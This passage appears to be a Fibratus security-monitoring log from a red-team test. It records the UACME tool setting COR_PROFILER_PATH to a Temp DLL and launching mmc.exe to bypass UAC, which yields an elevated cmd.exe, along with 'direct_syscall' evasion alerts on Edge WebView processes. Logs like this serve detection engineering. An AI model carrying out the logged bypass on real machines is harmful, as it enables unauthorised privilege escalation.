+ Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:26:26.2315581 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3879ac69b70, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 6808 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 68529 + Pid: 7684 + Tid: 4532 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:26:26.9087754 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 39e967000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808009b44080, name➜ cmd.exe, pid➜ 14380, ppid➜ 7684, real_ppid➜ 7684, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:26:26.9087268 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 7684 + Ppid: 6808 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:26:36+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 68916 + Pid: 10020 + Tid: 3620 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-01 17:26:35.322058 +0100 CET + Params: base_address➜ 7ffb68960000, checksum➜ 678716, default_address➜ 7ffb68960000, file_path➜ C:\Windows\System32\Windows.Web.dll, image_size➜ 638976, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 10020, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 10020 + Ppid: 10104 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10104.9896.2717147539704005562 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10104.9896.2717147539704005562 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:10020 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_10020_PBDJIQOUZTIBZEKO EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:339 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff804d7542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff804d7474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff804d7548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff804d7a72258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff804d7a71ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff804d7a690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff804d7a621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff804d7a6179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff804d78b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffb3d631014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffb3d443640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffb3d443a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffb7cc853db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb7cc84e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb7cc884cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffb7cc8701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffb7ccf4294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffb7cc963a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb7cc96020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffb7ccbfa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffb7a2bd29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffb7c727a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffb7c72759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffb7c7444fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffb7c8ad25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffb7c6f923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffb7c6f8af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffb7c6f966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffb7c6fa6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffb5692d940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5692bb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5692a59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb56936d97 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb5693dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb569406d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffb7b46ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffb7b46a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffb7b469c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffb7ae0e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffb7cd0c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-01T17:26:36+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 68918 + Pid: 10020 + Tid: 3620 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-01 17:26:35.3330206 +0100 CET + Params: base_address➜ 7ffb5ae90000, checksum➜ 879719, default_address➜ 7ffb5ae90000, file_path➜ C:\Windows\System32\Windows.StateRepositoryPS.dll, image_size➜ 802816, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 10020, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 10020 + Ppid: 10104 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10104.9896.2717147539704005562 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10104.9896.2717147539704005562 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:10020 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_10020_PBDJIQOUZTIBZEKO EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:339 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 